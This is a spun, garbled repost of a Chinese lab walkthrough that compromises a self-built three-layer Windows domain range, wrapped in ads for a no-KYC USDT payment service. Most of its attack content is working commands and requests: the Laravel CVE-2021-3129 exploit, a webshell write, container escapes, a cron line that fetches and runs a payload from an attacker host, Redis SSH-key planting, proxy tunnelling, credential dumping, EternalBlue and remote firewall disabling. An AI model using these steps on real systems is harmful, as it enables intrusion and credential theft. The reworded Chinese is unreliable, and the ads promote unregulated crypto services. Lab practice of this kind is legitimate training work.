南通新闻

usdt官方交易平台(www.caibao.it):自主搭建的三层网络域渗透靶场打靶纪录

来源:南通新闻网 发布时间:2021-03-19 浏览次数:

USDT自动充值

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。


本文转自我的Freebuf:https://www.freebuf.com/articles/network/264560.html
我的博客:https://whoamianony.top/

@[toc]

前言

假期马上竣事了,闲暇之时我自己实验着搭建了一个内网渗透的靶场。靶场是凭证对照新的破绽举行搭建的,质量自以为还可以。

现在此靶场已在vulnstack开源,下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

文中若有欠妥之处还请列位大佬多多点评

我的博客:https://whoamianony.top/

整个靶场的网络环境分为三层。从最初的信息网络、外网初探、攻入内网、搭建署理,横向移动,最终拿下域控。整个靶场所涉及的手艺点大致如下:

  • 信息网络:

    • 端口扫描
    • 端口服务识别

    破绽行使:

    • 破绽搜索与行使
    • Laravel Debug mode RCE(CVE-2021-3129)破绽行使
    • Docker逃逸
    • 通达OA v11.3 破绽行使
    • Linux环境变量提权
    • Redis 未授权接见破绽
    • Linux sudo权限提升(CVE-2021-3156)破绽行使
    • SSH密钥行使
    • Windows NetLogon 域内权限提升(CVE-2020-1472)破绽行使
    • MS14-068破绽行使

    构建隧道:

    • 路由转发与署理
      • 二层网络署理
      • 三层网络署理

    横向移动:

    • 内网(域内)信息网络
    • MS17-010
    • Windows系统NTLM与用户凭证获取
    • SMB Relay攻击
    • Psexec远控行使
    • 哈希通报攻击(PTH)
    • WMI行使
    • DCOM行使

    权限维持:

    • 黄金票据
    • 白银票据
    • Sid History

整个网络环境的拓扑图大致如下:


第二层网络中的所有主机皆可以上网,然则位于第三层网络中的所有主机都不与外网相连通,不能上网。

外网渗透

假设渗透的目的客户只给出了一个域名:www.whopen.com,下面我们要在黑盒的情形下对目的网络举行渗透,最终需要拿下域控制器权限。

直接接见该域名,发现是一个博客的站点:

随便翻翻除了文章写得还不错以外没有发现什么,emmmm......

信息网络

首先获得目的网站的IP为192.168.1.8,然后直接对目的IP举行端口扫描:

nmap -T4 -sC -sV 192.168.1.8


如上图,目的除了80端口外还开启了22、81和6379端口。查看81端口:

发现是个Laravel的站点,Laravel是一套精练、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

而在2021年01月12日,Laravel被披露存在一个远程代码执行破绽(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不平安使用,攻击者可以通过提议恶意请求,组织恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

目的站点的Laravel版本正幸亏今年刚爆出来的Laravel Debug mode RCE破绽(CVE-2021-3129)的局限内,该破绽的体用可以看我的这一篇文章:《Laravel Debug mode RCE(CVE-2021-3129)破绽复现》 ,下面我们实验举行劈头的攻击。

Laravel Debug mode RCE破绽行使

(1)首先使用 phpggc 工具天生一条laravel中存在的反序列化行使POC(经由编码后的):

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['='   hex(ord(i))[2:]   '=00' for i in sys.stdin.read()]).upper())"

获得的POC(编码后的)最后面再加一个a,否则最终laravel.log内里将天生两个POC,导致行使失败:


(2)发送如下数据包,将Laravel的原日志文件laravel.log清空:

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 328

{
  "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

(3)发送如下数据包,给Log增添一次前缀,用于对齐:

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 163

{
  "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

(4)将之前天生的编码后的POC作为viewFile的值,发送数据包:

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 5058

{
  "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=......2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
  }
}

(5)发送如下数据包,清空对log文件中的滋扰字符,只留下POC:

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 299

{
  "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

这一步可能会泛起异常,导致无法准确整理Log文件。若是泛起这种状态,可以重新从第一步最先实验。

(6)使用 phar:// 举行反序列化,执行随便代码(此时需要使用绝对路径):

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 210

{
  "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}

如下图所示,PHPINFO已乐成执行,破绽行使乐成:

我们可以行使该破绽写入Webshell:

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['='   hex(ord(i))[2:]   '=00' for i in sys.stdin.read()]).upper())"

重复上述行使步骤后,乐成写入webshell并毗邻乐成:

我们在使用蚁剑执行下令时发现目的主机的主机名有点显眼,可能我们那下的shell处于一个容器环境:

使用如下下令举行测试,我们发现我们获得的shell确实运行在一个docker容器内:

cat /proc/self/cgroup


这样好吗,这样欠好!下面我们需要docker逃逸来获取目的主机(docker宿主机)的权限。但此时我们所获得的是www-data用户的权限,权限对照低,干不成什么大事,以是要想设施提升一下权限。官方文档中提到了Linux环境变量提权,我们直接使用find下令来搜索具有SUID或4000权限的文件:

find / -perm -u=s -type f 2>/dev/null

通过执行上述下令,攻击者可以遍历任何可执行文件,在这里我们可以看到/home/jobs目录下有一个shell文件,这名字很显眼,而且其具有SUID权限:

于是我们cd到/home/jobs目录下,ls一下,确实看到了名为shell的可执行文件。我们运行一下这个文件:

可以看到shell文件执行了ps下令,而且未使用绝对路径,以是我们可以实验更改$PATH来执行我们的恶意程序,从而获得目的主机的高权限shell。

首先使用蚁剑反弹一个shell过来,然后在shell中执行如下下令:

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH 
export PATH=/tmp:$PATH , 将/tmp添加到环境变量中,而且先加载执行/tmp里的程序
cd /home/jobs
./shell
, 然后就获得了root权限,可以执行下令了


如上图所示,乐成提升为root权限。

之后为了利便,我们可以使用msf天生一个木马,然后上传到目的主机上执行,来获得一个metasploit的meterpreter,详细步骤略。

行使Docker runC破绽逃逸

该破绽(CVE-2019-5736)是2019年爆出的。在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6,其允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行下令。

行使该破绽需要知足以下两个条件之一:

  • 由一个攻击者控制的恶意镜像确立
  • 攻击者具有某已存在容器的写权限,且可通过docker exec进入。

首先下载攻击剧本: https://github.com/Frichetten/CVE-2019-5736-PoC

打开main.go剧本,将剧本中要在目的机上执行的下令修改为反弹shell的下令,IP为攻击机IP,端口为攻击机监听的端口:

执行下令编译天生payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

将天生的行使程序main上传到目的主机并赋予权限:

接着在攻击机kali上面启动nc监听:

nc -lvp 2333

接着在目的docker上面运行main文件:

此时,只需守候目的机治理员重启该docker容器,payload就会触发。然则由于某些缘故原由,我们手动重启docker后并未收到目的主机的shell。以是我们只能用另一种方式来逃逸。

Docker 特权模式逃逸

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机通俗用户权限。

使用特权模式启动容器,可以获取大量装备文件接见权限。由于当治理员执行docker run —privileged时,Docker容器将被允许接见主机上的所有装备,并可以执行mount下令举行挂载。

当控制使用特权模式启动的容器时,docker治理员可通过mount下令将外部宿主机磁盘装备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入设计义务等方式在宿主机执行下令。

首先我们现在docker中新建一个/hack目任命来挂在文件:

mkdir /hack

然后 ls /dev 看到/dev目录会发现许多装备文件,

我们可以实验将 /dev/sda1 挂载到/hack目录里:

mount /dev/sda1 /hack

如上图所示挂载乐成了,此时我们就可以通过接见容器内部的/hack路径来到达接见整个宿主机的目的

,

usdt支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

在docker容器里挂载一个宿主的内陆目录,这样某些容器里输出的文件,就可以在内陆目录中打开接见了。

我们可以通过写入设计义务的方式在宿主机执行metasploit天生的下令。

首先使用metasploit的web_delivery模块天生payload下令:

use exploit/multi/script/web_delivery
set target 6    , 选择目的系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.7
set lport 4444
exploit

如上图,只要将天生的下令再目的主机上执行,便可以获得目的主机的meterpreter。我们将该下令写入宿主机的设计义务中:

echo '* * * * * wget -qO KdwGEmVm --no-check-certificate http://192.168.1.7:8080/kvMOwncGb; chmod  x KdwGEmVm; ./KdwGEmVm& disown' >> /hack/var/spool/cron/root


如下图,宿主机上线meterpreter:

信息网络可得其系统版本为Ubuntu 14.04。

可怪事来了,我们查看了目的宿主机的网络设置后,仅发现了两个内网的网段“192.168.52.1/24”和“192.168.93.1/24”:

那我们接见的192.168.1.8去哪了?

岂非目的网站做了反向署理?先别慌,6379端口不是尚有一个redis吗,试试存不存在未授权接见吧。

直接在攻击机上毗邻192.168.1.8:6379上的redis,竟然乐成了,究竟是靶机,就是简朴:

有了redis未授权,那么行使就简朴了,我们直接往目的主机上写入SSH公钥。

先在攻击机上天生ssh公钥:

ssh-keygen -t rsa


然后将公钥导入key.txt文件(前后用n换行,制止和Redis里其他缓存数据夹杂),再把key.txt文件内容写入目的主机的redis缓冲里:

(echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > key.txt
cat key.txt | redis-cli -h 192.168.1.8 -x set xxx

// -x 代表从尺度输入读取数据作为该下令的最后一个参数。


然后使用攻击机毗邻目的机械Redis,划分执行如下下令将ssh公钥写入目的主机:

config set dir /root/.ssh    , 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    , 设置保留文件名为authorized_keys
save    , 将数据保留在目的服务器硬盘上


写入乐成后直接实验毗邻:

ssh 192.168.1.8


乐成毗邻目的主机。此时查看目的机网络信息,却发现目的主机的网络毗邻信息全变了,而且发现了我们刚最先接见的“192.168.1.8”,尚有另一个内网IP段“192.168.52.1/24”:

系统刊行版本也变为了Ubuntu 18.04.5:

看来目的网站应该是做了反向署理了,也就是说此时拿下的Ubuntu 18主机仅仅提供一个署理服务,真正的Web服务器是之前我们拿下的那台宿主机Ubuntu 14主机。为了证实我们的意料,我查看了Ubuntu 18上的nginx设置文件:

如上图我们发现了nginx反向署理的标志——“proxy_pass”,可知Ubuntu 18服务器上的nginx把80端口上收到的请求转发给了 https://whoamianony.top,将81端口上收到的请求转发给了内网第二层网络的Web服务器192.168.52.20,也就是我们之前Getshell的宿主机Ubuntu 14。

好了,到现在为止我们已经拿下了两台主机:

  • DMZ区域的Ubuntu 18:192.168.1.8
  • 第二层网络的Ubuntu 14:192.168.52.20


此时,绘制出网络拓扑图如下:

内网渗透

第二层网络渗透

在DMZ区域Ubuntu 18的meterpreter中添加一个通往192.168.52.1/24网段的路由:

路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks署理。我们使用earthworm搭建socks5反向署理服务。

在攻击机上执行如下:

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

在DMZ区域的Ubuntu 18上传ew_for_linux64,并执行如下下令:

./ew_for_linux64 -s rssocks -d 192.168.1.7 -e 1234


然后设置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们攻击机上的程序署理进第二层网络(192.168.52.1/24)了。

接着,我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run


如上图,发现第二层网络中尚有一个主机(192.168.52.30),使用nmap进一步扫描该主机的信息:

proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30


是一台Windows主机,而且该Windows主机的8080端口上有一个nginx的http服务,在攻击机的浏览器上设置好署理后,乐成接见:


是个通达OA,经测试其版本为通达OA V11.3,该版本存在随便用户登录、文件包罗和文件上传等多个破绽。详细破绽详情可参考:https://blog.csdn.net/szgyunyun/article/details/107104288

下面我们来行使这些破绽执行下令。首先上传图片马:

如上图上传乐成,2102是文件夹名,1811843809|shell.jpg是文件名,要把 | 修改成点。然后行使文件包罗破绽,发送如下请求:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami


如上图所示,乐成执行下令。

之后就是通例操作了,使用metasploit的web_delivery模块天生powershell类型的payload,直接在目的机上执行即可拿下该Windows服务器:

此时,绘制出网络拓扑图如下:

内网信息网络

拿下第二层网络中的Windows 7服务器后,接下来我们对目的内网环境举行信息网络,对目的网络有一个劈头的领会:

ipconfig /all   , 查看本机ip,所在域
systeminfo      , 列出系统信息
route print     , 打印路由信息
net view        , 查看局域网内其他主机名
arp -a          , 查看arp缓存
whoami
net start       , 查看开启了哪些服务
net share       , 查看开启了哪些共享

net config workstation   , 查看盘算机名、全名、用户名、系统版本、事情站、域、登录域
net user                 , 查看本机用户列表
net user /domain         , 查看域用户
net localgroup administrators   , 查看内陆治理员组(通常会有域用户)
net view /domain         , 查看有几个域
net user 用户名 /domain   , 获取指定域用户的信息
net group /domain        , 查看域内里的事情组,查看把用户分了若干组(只能在域控上操作)
net group 组名 /domain    , 查看域中某事情组
net group "domain admins" /domain  , 查看域治理员的名字
net group "domain computers" /domain  , 查看域中的其他主机名
net group "domain controllers" /domain  , 查看域控制器(可能有多台)




综合上面网络的信息,我们可知,目的网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域治理员为Administrator。

抓取域用户密码

接着,我们使用meterpreter上的kiwi模块实验抓取域用户及域治理员的密码:

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords



乐成抓取到域用户bunny和域治理员administrator的凭证:

  • bunny:Bunny2021
  • administrator:Whoami2021
    ,,, 第三层网络渗透
    现在第二层网络已经渗透完了,我们继续入侵第三层网络(192.168.93.1/24)。

在第二层网络Windows服务器的meterpreter中添加一个通往192.168.93.1/24网段的路由:


路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks署理。我们使用earthworm搭建一个二级socks5署理服务。

首先攻击机上执行如下下令添加一个转接隧道,监听1090端口,并将1090端口收到的署理请求发送给1235端口,执行下令:

./ew_for_linux64 -s lcx_listen -l 1090 -e 1235

然后在第二层网络的Windows服务器上传ew_for_Win.exe,并行使ssocksd方式启动999端口的正向socks署理,执行下令:

ew_for_Win.exe -s ssocksd -l 999

最后,在DMZ区域的Ubuntu 18上传ew_for_linux64并行使lcx_slave方式,将攻击机的1235端口与第二层网络Windows 7的999端口毗邻起来,执行下令:

./ew_for_linux64 -s lcx_slave -d 192.168.1.7 -e 1235 -f 192.168.52.30 -g 999


然后设置proxychains:

此时,就可以设置proxychains等署理工具,通过接见攻击机的1090端口来使用架设在第二层网络Windows主机上的socks署理服务,来进入第三层网络了。

在第二层网络Windows主机上执行ping下令扫描第三层网络中

接着,我们使用metasploit的 auxiliary/scanner/smb/smb_version 模块(可用来探测Windows主机存活)来扫描第三层网络中的主机存活:

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run


如上图,发现第三层网络中尚有两个Windows主机,划分为DC(192.168.93.30)和PC2(192.168.93.40),使用nmap进一步扫描PC2主机信息:

proxychains4 nmap -Pn -sT -sV 192.168.52.40

没发现什么有用的服务,我们直接打一个“永恒之蓝”试试:

setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit

好家伙!真不容易。这次竟然乐成了:

第四台靶机拿下:

此时,绘制出网络拓扑图如下:

进攻域控

现在就剩下域控制器DC了。既然都抓取到域治理员的密码了,那我们直接psexec上岸就得了:

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run


失败了,应该是开了防火墙的缘故原由。
没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控确立ipc毗邻:

net use \192.168.93.30ipc$ "Whoami2021" /user:"Administrator"


然后执行如下下令,使用sc远程在域制器(192.168.93.30)上确立服务关闭防火墙:

sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \192.168.93.30 start unablefirewall


再次实验执行 exploit/windows/smb/psexec 模块即可乐成登录:

乐成拿下域控:

到现在为止,三层网络结构中的五台主机已经所有拿下了:

途中session断了好几回,差点气的吐血。

权限维持

太晚了,持久化就先不写了。。。

Ending......

2021年2月26日 04:29

魔怔了,直接玩上瘾了,一夜没睡。

夜已深,靶场打完了,从最初的信息网络、外网初探、攻入内网、搭建署理,横向移动,到最终拿下了域控。但整个靶场所涉及的破绽点我并没有所有测试,为什么呢?由于我要睡觉。。。。。。

发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片